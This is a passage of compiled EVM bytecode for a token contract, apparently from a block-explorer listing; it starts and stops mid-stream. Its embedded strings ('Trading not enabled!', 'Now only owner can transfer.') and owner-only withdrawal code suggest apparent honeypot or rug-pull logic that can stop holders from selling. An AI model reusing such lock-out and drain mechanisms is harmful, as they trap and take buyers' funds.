001600160a01b03165f19620005e6565b5f546200028f9030906201000090046001600160a01b03165f19620005e6565b600180546001600160a01b031990811673877d084e683c9192ae8d97b69b523d1cffcce40d179091555f5460028054909216620100009091046001600160a01b03169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000311573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000337919062000982565b6001600160a01b031663c9c6539660025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000396573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bc919062000982565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801562000406573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200042c919062000982565b600380546001600160a01b0319166001600160a01b039283161781556001805483165f90815260208080526040808320805460ff199081168617909155945486168352601c82528083208054909516909317909355308152601b83528181206002548516825290925281205f19908190559054620004b3926201000090910416906200066c565b50305f908152602080805260408220805460ff1916600190811790915591620004e46007546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f908120805460ff191692151592909217909155600190601d90620005276007546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f908120805460ff19169215159290921790915560105490601a906200056b6007546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620005976007546001600160a01b031690565b6006546011546040519081526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620009aa565b6001600160a01b038316620005f9575f80fd5b6001600160a01b0382166200060c575f80fd5b6001600160a01b038381165f818152601b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6200067a338484620005e6565b5060015b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620006ad57607f821691505b602082108103620006cc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200071d57805f5260205f20601f840160051c81016020851015620006f95750805b601f840160051c820191505b818110156200071a575f815560010162000705565b50505b505050565b81516001600160401b038111156200073e576200073e62000684565b62000756816200074f845462000698565b84620006d2565b602080601f8311600181146200078c575f8415620007745750858301515b5f19600386901b1c1916600185901b178555620007e6565b5f85815260208120601f198616915b82811015620007bc578886015182559484019460019091019084016200079b565b5085821015620007da57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200084257815f1904821115620008265762000826620007ee565b808516156200083457918102915b93841c939080029062000807565b509250929050565b5f826200085a575060016200067e565b816200086857505f6200067e565b81600181146200088157600281146200088c57620008ac565b60019150506200067e565b60ff841115620008a057620008a0620007ee565b50506001821b6200067e565b5060208310610133831016604e8410600b8410161715620008d1575081810a6200067e565b620008dd838362000802565b805f1904821115620008f357620008f3620007ee565b029392505050565b5f6200090b60ff8416836200084a565b9392505050565b80820281158282048414176200067e576200067e620007ee565b634e487b7160e01b5f52601260045260245ffd5b5f826200095157620009516200092c565b500690565b818103818111156200067e576200067e620007ee565b5f826200097d576200097d6200092c565b500490565b5f6020828403121562000993575f80fd5b81516001600160a01b03811681146200090b575f80fd5b6120ca80620009b85f395ff3fe608060405260043610610240575f3560e01c806359fe233511610134578063a0ef91df116100b3578063bf5976d311610078578063bf5976d314610665578063c8c8ebe41461067a578063d52dfc141461068f578063d9ceeafc146106a4578063dd62ed3e146106bd578063de3cb82d14610701575f80fd5b8063a0ef91df146105e9578063a457c2d7146105fd578063a9059cbb1461061c578063aa4bde281461063b578063b4d40cf814610650575f80fd5b8063751039fc116100f9578063751039fc146105705780638199040e146105845780638da5cb5b1461059957806395d89b41146105b657806399b9a62e146105ca575f80fd5b806359fe2335146104f45780636612e66f146105095780636bc87c3a1461052857806370a082311461053d578063715018a61461055c575f80fd5b806339509351116101c05780634a74bb02116101855780634a74bb021461043d5780634e6fd6c41461045c5780635342acb41461047b578063538ba4f9146104b1578063583e0568146104d0575f80fd5b806339509351146103b65780633b124fe7146103d55780633c0a73ae146103ea5780633dc4bd7f146103ff57806349bd5a5e1461041e575f80fd5b806318160ddd1161020657806318160ddd14610324578063227c53721461034257806323b872dd146103575780632d83811914610376578063313ce56714610395575f80fd5b806299d3861461024b57806302acf5fd1461026157806306fdde03146102ad578063095ea7b3146102ce5780631694505e146102ed575f80fd5b3661024757005b5f80fd5b348015610256575f80fd5b5061025f610716565b005b34801561026c575f80fd5b5061029861027b366004611dc0565b6001600160a01b03165f908152601f602052604090205460ff1690565b60405190151581526020015b60405180910390f35b3480156102b8575f80fd5b506102c1610782565b6040516102a49190611ddb565b3480156102d9575f80fd5b506102986102e8366004611e27565b610812565b3480156102f8575f80fd5b5060025461030c906001600160a01b031681565b6040516001600160a01b0390911681526020016102a4565b34801561032f575f80fd5b506011545b6040519081526020016102a4565b34801561034d575f80fd5b50610334602a5481565b348015610362575f80fd5b50610298610371366004611e51565b610828565b348015610381575f80fd5b50610334610390366004611e8f565b610879565b3480156103a0575f80fd5b50600f5460405160ff90911681526020016102a4565b3480156103c1575f80fd5b506102986103d0366004611e27565b6108a4565b3480156103e0575f80fd5b5061033460215481565b3480156103f5575f80fd5b5061033460265481565b34801561040a575f80fd5b5061025f610419366004611ea6565b6108da565b348015610429575f80fd5b5060035461030c906001600160a01b031681565b348015610448575f80fd5b506014546102989062010000900460ff1681565b348015610467575f80fd5b5060055461030c906001600160a01b031681565b348015610486575f80fd5b50610298610495366004611dc0565b6001600160a01b03165f90815260208052604090205460ff1690565b3480156104bc575f80fd5b5060065461030c906001600160a01b031681565b3480156104db575f80fd5b505f5461030c906201000090046001600160a01b031681565b3480156104ff575f80fd5b5061033460245481565b348015610514575f80fd5b5061025f610523366004611ea6565b610b1e565b348015610533575f80fd5b5061033460255481565b348015610548575f80fd5b50610334610557366004611dc0565b610b5d565b348015610567575f80fd5b5061025f610bb9565b34801561057b575f80fd5b5061025f610c0d565b34801561058f575f80fd5b5061033460235481565b3480156105a4575f80fd5b506007546001600160a01b031661030c565b3480156105c1575f80fd5b506102c1610c3e565b3480156105d5575f80fd5b5060015461030c906001600160a01b031681565b3480156105f4575f80fd5b5061025f610c4d565b348015610608575f80fd5b50610298610617366004611e27565b610c9c565b348015610627575f80fd5b50610298610636366004611e27565b610cd2565b348015610646575f80fd5b5061033460175481565b34801561065b575f80fd5b5061033460295481565b348015610670575f80fd5b5061033460225481565b348015610685575f80fd5b5061033460185481565b34801561069a575f80fd5b5061033460275481565b3480156106af575f80fd5b506014546102989060ff1681565b3480156106c8575f80fd5b506103346106d7366004611ee1565b6001600160a01b039182165f908152601b6020908152604080832093909416825291909152205490565b34801561070c575f80fd5b5061033460285481565b6007546001600160a01b0316331461072c575f80fd5b5f54610100900460ff161561073f575f80fd5b5f805461ff0019166101001790556014805462ff00001916620100001790556107693060016108da565b600354610780906001600160a01b031660016108da565b565b6060600c805461079190611f0d565b80601f01602080910402602001604051908101604052809291908181526020018280546107bd90611f0d565b80156108085780601f106107df57610100808354040283529160200191610808565b820191905f5260205f20905b8154815290600101906020018083116107eb57829003601f168201915b5050505050905090565b5f61081e338484610cde565b5060015b92915050565b5f610834848484610d62565b506001600160a01b0384165f908152601b602090815260408083203380855292529091205461086f91869161086a908690611f59565b610cde565b5060019392505050565b5f601054821115610888575f80fd5b5f610891611021565b905061089d8184611f6c565b9392505050565b335f818152601b602090815260408083206001600160a01b0387168452909152812054909161081e91859061086a908690611f8b565b6007546001600160a01b031633146108f0575f80fd5b8015156001036109db576001600160a01b0382165f908152601f602052604090205460ff161561091e575f80fd5b6001600160a01b0382165f908152601a602052604090205415610975576001600160a01b0382165f908152601a602052604090205461095c90610879565b6001600160a01b0383165f908152601960205260409020555b506001600160a01b03165f818152601f60205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b8015155f03610b1a576001600160a01b0382165f908152601f602052604090205460ff16610a07575f80fd5b5f5b600854811015610b1857826001600160a01b031660088281548110610a3057610a30611f9e565b5f918252602090912001546001600160a01b031603610b105760088054610a5990600190611f59565b81548110610a6957610a69611f9e565b5f91825260209091200154600880546001600160a01b039092169183908110610a9457610a94611f9e565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559185168152601982526040808220829055601f90925220805460ff191690556008805480610aeb57610aeb611fb2565b5f8281526020902081015f1990810180546001600160a01b0319169055019055610b18565b600101610a09565b505b5050565b6007546001600160a01b03163314610b34575f80fd5b6001600160a01b03919091165f9081526020805260409020805460ff1916911515919091179055565b6001600160a01b0381165f908152601f602052604081205460ff1615610b9857506001600160a01b03165f9081526019602052604090205490565b6001600160a01b0382165f908152601a602052604090205461082290610879565b6007546001600160a01b03163314610bcf575f80fd5b600780546001600160a01b03191690556040515f9081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6007546001600160a01b03163314610c23575f80fd5b6011546015819055600e546017819055601691909155601855565b6060600d805461079190611f0d565b6007546001600160a01b03163314610c63575f80fd5b6007546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c99573d5f803e3d5ffd5b50565b335f818152601b602090815260408083206001600160a01b0387168452909152812054909161081e91859061086a908690611f59565b5f61086f338484610d62565b6001600160a01b038316610cf0575f80fd5b6001600160a01b038216610d02575f80fd5b6001600160a01b038381165f818152601b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610d75575f80fd5b6001600160a01b038316610d87575f80fd5b5f8211610d92575f80fd5b610d9c8484611042565b15610f0d575f54610100900460ff16610df35760405162461bcd60e51b815260206004820152601460248201527354726164696e67206e6f7420656e61626c65642160601b60448201526064015b60405180910390fd5b60095460ff1615610e9e576001600160a01b0384165f908152601c602052604090205460ff1615610e60576001600160a01b0383165f908152601e6020526040902054439003610e41575f80fd5b6001600160a01b0383165f908152601e60205260409020439055610e9e565b6001600160a01b0384165f908152601e6020526040902054439003610e83575f80fd5b6001600160a01b0384165f908152601e602052604090204390555b601654821115610eac575f80fd5b5f546001600160a01b03848116620100009092041614801590610ee757506001600160a01b0383165f908152601c602052604090205460ff16155b15610f0d5760155482610ef985610b5d565b610f039190611f8b565b1115610f0d575f80fd5b6001600160a01b0384165f90815260208052604090205460019060ff1680610f4b57506001600160a01b0384165f90815260208052604090205460ff165b15610f5357505f5b6001600160a01b0384165f908152601c602052604090205460ff161561100c576001600160a01b0385165f90815260208052604090205460ff16158015610fb157506001600160a01b0384165f90815260208052604090205460ff16155b8015610fc55750601454610100900460ff16155b8015610fd9575060145462010000900460ff165b1561100c575f610fe830610b5d565b9050601354811061100a57601254811061100157506012545b61100a81611114565b505b61101885858584611422565b95945050505050565b5f805f61102c61175a565b909250905061103b8183611f6c565b9250505090565b5f6110556007546001600160a01b031690565b6001600160a01b0316836001600160a01b03161415801561107f57506001600160a01b0383163014155b80156110a357506001600160a01b0383165f908152601d602052604090205460ff16155b80156110c757506001600160a01b0382165f908152601d602052604090205460ff16155b80156110e157506005546001600160a01b03838116911614155b80156110f557506001600160a01b03821615155b801561089d5750506007546001600160a01b0391821691161415919050565b6014805461ff001916610100179055602a546029546111339190611f8b565b15611414575f6002602a5460295461114b9190611f8b565b6029546111589085611fc6565b6111629190611f6c565b61116c9190611f6c565b90505f6111798284611f59565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106111b1576111b1611f9e565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611208573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061122c9190611fdd565b8160018151811061123f5761123f611f9e565b6001600160a01b03928316602091820292909201015260025460405163791ac94760e01b815291169063791ac947906112849085905f90869030904290600401611ff8565b5f604051808303815f87803b15801561129b575f80fd5b505af11580156112ad573d5f803e3d5ffd5b505050505f6002602a546029546112c49190611f8b565b6029546112d19047611fc6565b6112db9190611f6c565b6112e59190611f6c565b905083156113c45760025460055460405163f305d71960e01b8152306004820152602481018790525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561135a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061137f9190612069565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f6113cf8587611f59565b111561140f5760015460405147916001600160a01b03169082156108fc029083905f818181858888f1935050505015801561140c573d5f803e3d5ffd5b50505b505050505b506014805461ff0019169055565b6014545f9060ff1661149d5761143885856118c9565b60145460ff1615801561145057506114508585611042565b1561149d5760405162461bcd60e51b815260206004820152601c60248201527f4e6f77206f6e6c79206f776e65722063616e207472616e736665722e000000006044820152606401610dea565b5f6114aa86868686611974565b9050836114b687610b5d565b1061174e5760608101516001600160a01b0387165f908152601a60205260409020546114e29190611f59565b6001600160a01b038088165f908152601a60205260408082209390935583830151918816815291909120546115179190611f8b565b6001600160a01b038087165f908152601a60209081526040808320949094559189168152601f909152205460ff16801561156957506001600160a01b0385165f908152601f602052604090205460ff16155b156115ae576001600160a01b0386165f90815260196020526040902054611591908590611f59565b6001600160a01b0387165f908152601960205260409020556116e5565b6001600160a01b0386165f908152601f602052604090205460ff161580156115ed57506001600160a01b0385165f908152601f602052604090205460ff165b156116335780516001600160a01b0386165f908152601960205260409020546116169190611f8b565b6001600160a01b0386165f908152601960205260409020556116e5565b6001600160a01b0386165f908152601f602052604090205460ff16801561167157506001600160a01b0385165f908152601f602052604090205460ff165b156116e5576001600160a01b0386165f90815260196020526040902054611699908590611f59565b6001600160a01b038088165f90815260196020526040808220939093558351918816815291909120546116cc9190611f8b565b6001600160a01b0386165f908152601960205260409020555b6020810151156116fd576116fd868260200151611aca565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f015160405161174591815260200190565b60405180910390a35b50600195945050505050565b6011546010545f918291825b6008548110156118995781601a5f6008848154811061178757611787611f9e565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806117ef57508260195f600884815481106117c9576117c9611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561180557601054601154945094505050509091565b60195f6008838154811061181b5761181b611f9e565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546118499084611f59565b9250601a5f6008838154811061186157611861611f9e565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461188f9083611f59565b9150600101611766565b506011546010546118aa9190611f6c565b8110156118c1576010546011549350935050509091565b939092509050565b60145460ff16156118d8575f80fd5b6118e28282611042565b1580156118fc57506003546001600160a01b038281169116145b15610b1a576001600160a01b0382165f908152601d60209081526040918290208054600160ff19909116811790915542600b556014805462ff00ff19166201000117905591519182527ff2acc1979c00010542ffd8cae4d838ff799fc95287f58db252e6b45eaaa3936b910160405180910390a15050565b61199b60405180608001604052805f81526020015f81526020015f81526020015f81525090565b6119c260405180608001604052805f81526020015f81526020015f81526020015f81525090565b5f6119cd8787611bbf565b90506119d98186611fc6565b60608301528315611a92576001600160a01b0386165f908152601c602052604090205460ff1615611a1557602754602555602354602155611a53565b6001600160a01b0387165f908152601c602052604090205460ff1615611a4657602654602555602254602155611a53565b6028546025556024546021555b602b54602154602554611a669190611f8b565b611a709087611fc6565b611a7a9190611f6c565b60208301819052611a8b9086611f59565b8252611a9c565b5f60208301528482525b808260200151611aac9190611fc6565b8260600151611abb9190611f59565b60408301525095945050505050565b6003545f906001600160a01b0390811690841603611ae8575f611aec565b6004545b90505f611af7611021565b90505f81611b058486611f59565b611b0f9190611fc6565b305f908152601a6020526040902054909150611b2b9082611f8b565b305f908152601a6020908152604080832093909355601f9052205460ff1615611b7857305f90815260196020526040902054611b68908590611f8b565b305f908152601960205260409020555b60405184815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b5f805f611bcc8585611bdb565b90925090506110188183611f6c565b5f805f611be785610b5d565b1590505f611c0b866001600160a01b03165f90815260208052604090205460ff1690565b601054601154919250905f5b600854811015611d4d5782601a5f60088481548110611c3857611c38611f9e565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180611ca057508160195f60088481548110611c7a57611c7a611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b15611cb957601054601154965096505050505050611da5565b60195f60088381548110611ccf57611ccf611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054611cfd9083611f59565b9150601a5f60088381548110611d1557611d15611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054611d439084611f59565b9250600101611c17565b50838015611d585750825b15611d7357601154600481905550611d738789600454610cde565b601154601054611d839190611f6c565b821015611d9d576010546011549550955050505050611da5565b909450925050505b9250929050565b6001600160a01b0381168114610c99575f80fd5b5f60208284031215611dd0575f80fd5b813561089d81611dac565b5f602080835283518060208501525f5b81811015611e0757858101830151858201604001528201611deb565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215611e38575f80fd5b8235611e4381611dac565b946020939093013593505050565b5f805f60608486031215611e63575f80fd5b8335611e6e81611dac565b92506020840135611e7e81611dac565b929592945050506040919091013590565b5f60208284031215611e9f575f80fd5b5035919050565b5f8060408385031215611eb7575f80fd5b8235611ec281611dac565b915060208301358015158114611ed6575f80fd5b809150509250929050565b5f8060408385031215611ef2575f80fd5b8235611efd81611dac565b91506020830135611ed681611dac565b600181811c90821680611f2157607f821691505b602082108103611f3f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561082257610822611f45565b5f82611f8657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561082257610822611f45565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52603160045260245ffd5b808202811582820484141761082257610822611f45565b5f60208284031215611fed575f80fd5b815161089d81611dac565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156120485784516001600160a01b031683529383019391830191600101612023565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561207b575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220d0445ed3dad158539938ac7c37ab3e18a81e2cb216dc43efe6d09a37f8ac757564736f6c63430008160033

Deployed Bytecode

0x608060405260043610610240575f3560e01c806359fe233511610134578063a0ef91df116100b3578063bf5976d311610078578063bf5976d314610665578063c8c8ebe41461067a578063d52dfc141461068f578063d9ceeafc146106a4578063dd62ed3e146106bd578063de3cb82d14610701575f80fd5b8063a0ef91df146105e9578063a457c2d7146105fd578063a9059cbb1461061c578063aa4bde281461063b578063b4d40cf814610650575f80fd5b8063751039fc116100f9578063751039fc146105705780638199040e146105845780638da5cb5b1461059957806395d89b41146105b657806399b9a62e146105ca575f80fd5b806359fe2335146104f45780636612e66f146105095780636bc87c3a1461052857806370a082311461053d578063715018a61461055c575f80fd5b806339509351116101c05780634a74bb02116101855780634a74bb021461043d5780634e6fd6c41461045c5780635342acb41461047b578063538ba4f9146104b1578063583e0568146104d0575f80fd5b806339509351146103b65780633b124fe7146103d55780633c0a73ae146103ea5780633dc4bd7f146103ff57806349bd5a5e1461041e575f80fd5b806318160ddd1161020657806318160ddd14610324578063227c53721461034257806323b872dd146103575780632d83811914610376578063313ce56714610395575f80fd5b806299d3861461024b57806302acf5fd1461026157806306fdde03146102ad578063095ea7b3146102ce5780631694505e146102ed575f80fd5b3661024757005b5f80fd5b348015610256575f80fd5b5061025f610716565b005b34801561026c575f80fd5b5061029861027b366004611dc0565b6001600160a01b03165f908152601f602052604090205460ff1690565b60405190151581526020015b60405180910390f35b3480156102b8575f80fd5b506102c1610782565b6040516102a49190611ddb565b3480156102d9575f80fd5b506102986102e8366004611e27565b610812565b3480156102f8575f80fd5b5060025461030c906001600160a01b031681565b6040516001600160a01b0390911681526020016102a4565b34801561032f575f80fd5b506011545b6040519081526020016102a4565b34801561034d575f80fd5b50610334602a5481565b348015610362575f80fd5b50610298610371366004611e51565b610828565b348015610381575f80fd5b50610334610390366004611e8f565b610879565b3480156103a0575f80fd5b50600f5460405160ff90911681526020016102a4565b3480156103c1575f80fd5b506102986103d0366004611e27565b6108a4565b3480156103e0575f80fd5b5061033460215481565b3480156103f5575f80fd5b5061033460265481565b34801561040a575f80fd5b5061025f610419366004611ea6565b6108da565b348015610429575f80fd5b5060035461030c906001600160a01b031681565b348015610448575f80fd5b506014546102989062010000900460ff1681565b348015610467575f80fd5b5060055461030c906001600160a01b031681565b348015610486575f80fd5b50610298610495366004611dc0565b6001600160a01b03165f90815260208052604090205460ff1690565b3480156104bc575f80fd5b5060065461030c906001600160a01b031681565b3480156104db575f80fd5b505f5461030c906201000090046001600160a01b031681565b3480156104ff575f80fd5b5061033460245481565b348015610514575f80fd5b5061025f610523366004611ea6565b610b1e565b348015610533575f80fd5b5061033460255481565b348015610548575f80fd5b50610334610557366004611dc0565b610b5d565b348015610567575f80fd5b5061025f610bb9565b34801561057b575f80fd5b5061025f610c0d565b34801561058f575f80fd5b5061033460235481565b3480156105a4575f80fd5b506007546001600160a01b031661030c565b3480156105c1575f80fd5b506102c1610c3e565b3480156105d5575f80fd5b5060015461030c906001600160a01b031681565b3480156105f4575f80fd5b5061025f610c4d565b348015610608575f80fd5b50610298610617366004611e27565b610c9c565b348015610627575f80fd5b50610298610636366004611e27565b610cd2565b348015610646575f80fd5b5061033460175481565b34801561065b575f80fd5b5061033460295481565b348015610670575f80fd5b5061033460225481565b348015610685575f80fd5b5061033460185481565b34801561069a575f80fd5b5061033460275481565b3480156106af575f80fd5b506014546102989060ff1681565b3480156106c8575f80fd5b506103346106d7366004611ee1565b6001600160a01b039182165f908152601b6020908152604080832093909416825291909152205490565b34801561070c575f80fd5b5061033460285481565b6007546001600160a01b0316331461072c575f80fd5b5f54610100900460ff161561073f575f80fd5b5f805461ff0019166101001790556014805462ff00001916620100001790556107693060016108da565b600354610780906001600160a01b031660016108da565b565b6060600c805461079190611f0d565b80601f01602080910402602001604051908101604052809291908181526020018280546107bd90611f0d565b80156108085780601f106107df57610100808354040283529160200191610808565b820191905f5260205f20905b8154815290600101906020018083116107eb57829003601f168201915b5050505050905090565b5f61081e338484610cde565b5060015b92915050565b5f610834848484610d62565b506001600160a01b0384165f908152601b602090815260408083203380855292529091205461086f91869161086a908690611f59565b610cde565b5060019392505050565b5f601054821115610888575f80fd5b5f610891611021565b905061089d8184611f6c565b9392505050565b335f818152601b602090815260408083206001600160a01b0387168452909152812054909161081e91859061086a908690611f8b565b6007546001600160a01b031633146108f0575f80fd5b8015156001036109db576001600160a01b0382165f908152601f602052604090205460ff161561091e575f80fd5b6001600160a01b0382165f908152601a602052604090205415610975576001600160a01b0382165f908152601a602052604090205461095c90610879565b6001600160a01b0383165f908152601960205260409020555b506001600160a01b03165f818152601f60205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b8015155f03610b1a576001600160a01b0382165f908152601f602052604090205460ff16610a07575f80fd5b5f5b600854811015610b1857826001600160a01b031660088281548110610a3057610a30611f9e565b5f918252602090912001546001600160a01b031603610b105760088054610a5990600190611f59565b81548110610a6957610a69611f9e565b5f91825260209091200154600880546001600160a01b039092169183908110610a9457610a94611f9e565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559185168152601982526040808220829055601f90925220805460ff191690556008805480610aeb57610aeb611fb2565b5f8281526020902081015f1990810180546001600160a01b0319169055019055610b18565b600101610a09565b505b5050565b6007546001600160a01b03163314610b34575f80fd5b6001600160a01b03919091165f9081526020805260409020805460ff1916911515919091179055565b6001600160a01b0381165f908152601f602052604081205460ff1615610b9857506001600160a01b03165f9081526019602052604090205490565b6001600160a01b0382165f908152601a602052604090205461082290610879565b6007546001600160a01b03163314610bcf575f80fd5b600780546001600160a01b03191690556040515f9081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6007546001600160a01b03163314610c23575f80fd5b6011546015819055600e546017819055601691909155601855565b6060600d805461079190611f0d565b6007546001600160a01b03163314610c63575f80fd5b6007546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c99573d5f803e3d5ffd5b50565b335f818152601b602090815260408083206001600160a01b0387168452909152812054909161081e91859061086a908690611f59565b5f61086f338484610d62565b6001600160a01b038316610cf0575f80fd5b6001600160a01b038216610d02575f80fd5b6001600160a01b038381165f818152601b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610d75575f80fd5b6001600160a01b038316610d87575f80fd5b5f8211610d92575f80fd5b610d9c8484611042565b15610f0d575f54610100900460ff16610df35760405162461bcd60e51b815260206004820152601460248201527354726164696e67206e6f7420656e61626c65642160601b60448201526064015b60405180910390fd5b60095460ff1615610e9e576001600160a01b0384165f908152601c602052604090205460ff1615610e60576001600160a01b0383165f908152601e6020526040902054439003610e41575f80fd5b6001600160a01b0383165f908152601e60205260409020439055610e9e565b6001600160a01b0384165f908152601e6020526040902054439003610e83575f80fd5b6001600160a01b0384165f908152601e602052604090204390555b601654821115610eac575f80fd5b5f546001600160a01b03848116620100009092041614801590610ee757506001600160a01b0383165f908152601c602052604090205460ff16155b15610f0d5760155482610ef985610b5d565b610f039190611f8b565b1115610f0d575f80fd5b6001600160a01b0384165f90815260208052604090205460019060ff1680610f4b57506001600160a01b0384165f90815260208052604090205460ff165b15610f5357505f5b6001600160a01b0384165f908152601c602052604090205460ff161561100c576001600160a01b0385165f90815260208052604090205460ff16158015610fb157506001600160a01b0384165f90815260208052604090205460ff16155b8015610fc55750601454610100900460ff16155b8015610fd9575060145462010000900460ff165b1561100c575f610fe830610b5d565b9050601354811061100a57601254811061100157506012545b61100a81611114565b505b61101885858584611422565b95945050505050565b5f805f61102c61175a565b909250905061103b8183611f6c565b9250505090565b5f6110556007546001600160a01b031690565b6001600160a01b0316836001600160a01b03161415801561107f57506001600160a01b0383163014155b80156110a357506001600160a01b0383165f908152601d602052604090205460ff16155b80156110c757506001600160a01b0382165f908152601d602052604090205460ff16155b80156110e157506005546001600160a01b03838116911614155b80156110f557506001600160a01b03821615155b801561089d5750506007546001600160a01b0391821691161415919050565b6014805461ff001916610100179055602a546029546111339190611f8b565b15611414575f6002602a5460295461114b9190611f8b565b6029546111589085611fc6565b6111629190611f6c565b61116c9190611f6c565b90505f6111798284611f59565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106111b1576111b1611f9e565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611208573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061122c9190611fdd565b8160018151811061123f5761123f611f9e565b6001600160a01b03928316602091820292909201015260025460405163791ac94760e01b815291169063791ac947906112849085905f90869030904290600401611ff8565b5f604051808303815f87803b15801561129b575f80fd5b505af11580156112ad573d5f803e3d5ffd5b505050505f6002602a546029546112c49190611f8b565b6029546112d19047611fc6565b6112db9190611f6c565b6112e59190611f6c565b905083156113c45760025460055460405163f305d71960e01b8152306004820152602481018790525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561135a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061137f9190612069565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f6113cf8587611f59565b111561140f5760015460405147916001600160a01b03169082156108fc029083905f818181858888f1935050505015801561140c573d5f803e3d5ffd5b50505b505050505b506014805461ff0019169055565b6014545f9060ff1661149d5761143885856118c9565b60145460ff1615801561145057506114508585611042565b1561149d5760405162461bcd60e51b815260206004820152601c60248201527f4e6f77206f6e6c79206f776e65722063616e207472616e736665722e000000006044820152606401610dea565b5f6114aa86868686611974565b9050836114b687610b5d565b1061174e5760608101516001600160a01b0387165f908152601a60205260409020546114e29190611f59565b6001600160a01b038088165f908152601a60205260408082209390935583830151918816815291909120546115179190611f8b565b6001600160a01b038087165f908152601a60209081526040808320949094559189168152601f909152205460ff16801561156957506001600160a01b0385165f908152601f602052604090205460ff16155b156115ae576001600160a01b0386165f90815260196020526040902054611591908590611f59565b6001600160a01b0387165f908152601960205260409020556116e5565b6001600160a01b0386165f908152601f602052604090205460ff161580156115ed57506001600160a01b0385165f908152601f602052604090205460ff165b156116335780516001600160a01b0386165f908152601960205260409020546116169190611f8b565b6001600160a01b0386165f908152601960205260409020556116e5565b6001600160a01b0386165f908152601f602052604090205460ff16801561167157506001600160a01b0385165f908152601f602052604090205460ff165b156116e5576001600160a01b0386165f90815260196020526040902054611699908590611f59565b6001600160a01b038088165f90815260196020526040808220939093558351918816815291909120546116cc9190611f8b565b6001600160a01b0386165f908152601960205260409020555b6020810151156116fd576116fd868260200151611aca565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f015160405161174591815260200190565b60405180910390a35b50600195945050505050565b6011546010545f918291825b6008548110156118995781601a5f6008848154811061178757611787611f9e565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806117ef57508260195f600884815481106117c9576117c9611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561180557601054601154945094505050509091565b60195f6008838154811061181b5761181b611f9e565b5f9182526020808320909101546001600